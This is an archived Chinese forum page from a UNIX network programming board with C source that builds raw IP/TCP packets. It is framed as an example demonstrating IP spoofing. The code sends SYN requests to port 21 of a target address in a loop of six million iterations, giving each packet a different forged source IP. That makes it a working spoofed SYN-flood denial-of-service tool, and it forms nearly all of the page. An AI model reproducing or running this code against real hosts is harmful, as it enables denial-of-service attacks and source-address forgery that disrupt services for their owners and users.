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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="324.htm">下一篇</a>]
<hr><p align="left"><small>/* <br>

2000.11.13 <br>

自定义发IP包例子(TCP/IP包发送) <br>

给目标主机的端口发送一个 syn请求,注意目标主机的信息会发给发送IP地址的主机 <br>

这说明TCP/IP协议本身有IP期骗的漏洞 <br>

这种方运可以自己写成特殊的基于IP协议上层的自定义协议 <br>

ddxxkk@21cn.com <br>

ddxxkk.myrice.com/ddxxkk.hongnet.com <br>

*/ <br>

//          发送IP                   目标IP <br>

char srcip[]="100.100.100.100",dstip[]="192.168.11.118"; <br>

//          发送端IP端口 目标IP端口 <br>

int         srcport=99,dstport=21; <br>

    #include <stdio.h> <br>

    #include <sys/socket.h> <br>

    #include <netinet/in.h> <br>

    #include <arpa/inet.h> <br>

    #include <unistd.h> <br>

    #include <netinet/ip.h>   //ip <br>

    #include <netinet/tcp.h> //tcp <br>

    #include <stdlib.h> <br>

//以下是从ip.h和tcp.h取的,但BSD和LINUX用的名称有些不一样主要是TCP不一样 <br>

/* <br>

/* <br>

struct ip <br>

  { <br>

#if __BYTE_ORDER == __LITTLE_ENDIAN <br>

    unsigned int ip_hl:4;                //little-endian IP头长度(单位为32位 <br>

)4位 <br>

    unsigned int ip_v:4;                 //版本号4 IP4用4 <br>

#endif <br>

#if __BYTE_ORDER == __BIG_ENDIAN <br>

    unsigned int ip_v:4;                // version <br>

    unsigned int ip_hl:4;               // header length <br>

#endif <br>

    u_int8_t ip_tos;                    //服务类型  一般为0 <br>

    u_short ip_len;                     //数据总长度 (单位为32位) <br>

    u_short ip_id;                      //标识16 <br>

    u_short ip_off;                     //分段偏移 <br>

#define IP_RF 0x8000                    // reserved fragment flag  //标志 <br>

#define IP_DF 0x4000                    // dont fragment flag <br>

#define IP_MF 0x2000                    // more fragments flag <br>

#define IP_OFFMASK 0x1fff               // mask for fragmenting bits <br>

    u_int8_t ip_ttl;                     //生存时间 <br>

    u_int8_t ip_p;                      //传输协议 tcp是6 <br>

    u_short ip_sum;                     //头校验和 <br>



    struct in_addr ip_src, ip_dst;      // 源地址 目标地址 <br>

  }; <br>

struct tcphdr <br>

  { <br>

    u_int16_t source;               // 源端口 <br>

    u_int16_t dest;                // 目的端口 <br>

    tcp_seq seq;                  // 序号 <br>

    tcp_seq ack_seq;             // 确认号 收到的TCP信息的序号+1 <br>

#if __BYTE_ORDER == __LITTLE_ENDIAN <br>

    u_int16_t res1:4;               //保留 <br>

    u_int16_t doff:4;               //保留 <br>

    u_int16_t fin:1;               //标志 结束 <br>

    u_int16_t syn:1;               //标志 同步 <br>

    u_int16_t rst:1;               //标志 重置 <br>

    u_int16_t psh:1;               //标志 入栈 <br>

    u_int16_t ack:1;               //标志 确认 <br>

    u_int16_t urg:1;               //标志 紧急 <br>

    u_int16_t res2:2; <br>

#elif __BYTE_ORDER == __BIG_ENDIAN <br>

    u_int16_t doff:4; <br>

    u_int16_t res1:4; <br>

    u_int16_t res2:2; <br>



    u_int16_t urg:1; <br>

    u_int16_t ack:1; <br>

    u_int16_t psh:1; <br>

    u_int16_t rst:1; <br>

    u_int16_t syn:1; <br>

    u_int16_t fin:1; <br>

#else <br>

#error  "Adjust your <bits/endian.h> defines" <br>

#endif <br>

    u_int16_t window;           //窗口 <br>

    u_int16_t check;            //校验和 <br>

    u_int16_t urg_ptr;          //紧急指针 <br>

}; <br>

*/ <br>

//校验和涵数 ip头 <br>

unsigned short csum (unsigned short *packet, int packlen) { <br>

    register unsigned long sum = 0; <br>

    while (packlen > 1) { <br>

        sum+= *(packet++); <br>

        packlen-=2; <br>

    } <br>

    if (packlen > 0) <br>



        sum += *(unsigned char *)packet; <br>

    while (sum >> 16) <br>

        sum = (sum & 0xffff) + (sum >> 16); <br>

    return (unsigned short) ~sum; <br>

} <br>

//校验和涵数 tcp头 <br>

unsigned short tcpcsum (unsigned char *iphdr, unsigned short *packet,int pac <br>

klen) { <br>

    unsigned short *buf; <br>

    unsigned short res; <br>

    buf = malloc(packlen+12); <br>

    if(buf == NULL) return 0; <br>

    memcpy(buf,iphdr+12,8); //源IP地址和目标IP地址 <br>

    *(buf+4)=htons((unsigned short)(*(iphdr+9))); <br>

    *(buf+5)=htons((unsigned short)packlen); <br>

    memcpy(buf+6,packet,packlen); <br>

    res = csum(buf,packlen+12); <br>

    free(buf); <br>

    return res; <br>

} <br>

int main() <br>

    { <br>

    { <br>

        int sock, bytes_send, fromlen,n,id,s; <br>

        unsigned char buffer[65535]; <br>

        struct sockaddr_in toaddr; <br>

        struct ip  *ip; <br>

        struct tcphdr *tcp; <br>

        for (n=0;n<60000;n++ ) <br>

        { <br>

        buffer[n]=0; <br>

        } <br>

//发送地址 <br>

        toaddr.sin_family =AF_INET; <br>

//        inet_aton("192.168.11.38",&toaddr.sin_addr);   //字符串转入地址 <br>

        inet_aton(dstip,&toaddr.sin_addr);   //字符串转入地址 <br>

        //建立原始TCP包方式IP+TCP信息包 <br>

sock = socket(AF_INET, SOCK_RAW,IPPROTO_RAW);   //IP方式 <br>

//      sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); <br>

        if (sock>0) {printf("socket ok\n");} <br>

           else {printf ("socket error \n");} <br>

       n=1; <br>

       if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &n, sizeof(n)) < 0) { <br>

           printf("2"); <br>

           perror("IP_HDRINCL"); <br>



           exit(1); <br>

          } <br>

        ip=(struct ip *)buffer; <br>

        ip->ip_id=0x9911; <br>

        ip->ip_v=4; <br>

        ip->ip_hl=5; <br>

        ip->ip_ttl=36; <br>

        ip->ip_p=6;     //tcp 为6 <br>

        ip->ip_len=htons(60); <br>

        inet_aton(dstip,&ip->ip_dst); <br>

//        inet_aton("192.168.11.38",&ip->ip_dst); <br>

        tcp = (struct tcphdr *)(buffer + (4*ip->ip_hl)); <br>

        tcp->source=htons(srcport);                            //源端口 <br>

        tcp->dest=htons(dstport); <br>

        tcp->seq=htons(0x9990); <br>

        tcp->doff=0x15; <br>

        tcp->ack_seq=0; <br>

        tcp->syn=1; <br>

        tcp->window=htons(0x20); <br>

        inet_aton(srcip,&ip->ip_src); <br>

for (n=1;n<6000000;n++ ) <br>

{ <br>



        ip->ip_src.s_addr=htonl(0x09010101+n); <br>

        tcp->check=0x0; <br>

        tcp->check=tcpcsum((unsigned char *)buffer, (unsigned short *)tcp,40 <br>

); <br>

        ip->ip_sum=0; <br>

        ip->ip_sum=csum((unsigned short *)buffer,20); <br>

        bytes_send=sendto(sock,buffer,60,0,(struct sockaddr *)&toaddr,sizeof(toa <br>

dd <br>

r)); <br>

} <br>

        if (bytes_send>0) <br>

        { <br>

        printf("OK bytes_send %d \n",bytes_send); <br>

        printf("IP_source address ::: %s \n",inet_ntoa(ip->ip_src)); <br>

        printf("IP_dest address ::: %s \n",inet_ntoa(ip->ip_dst)); <br>

        } <br>

 } <br>

</small><hr>
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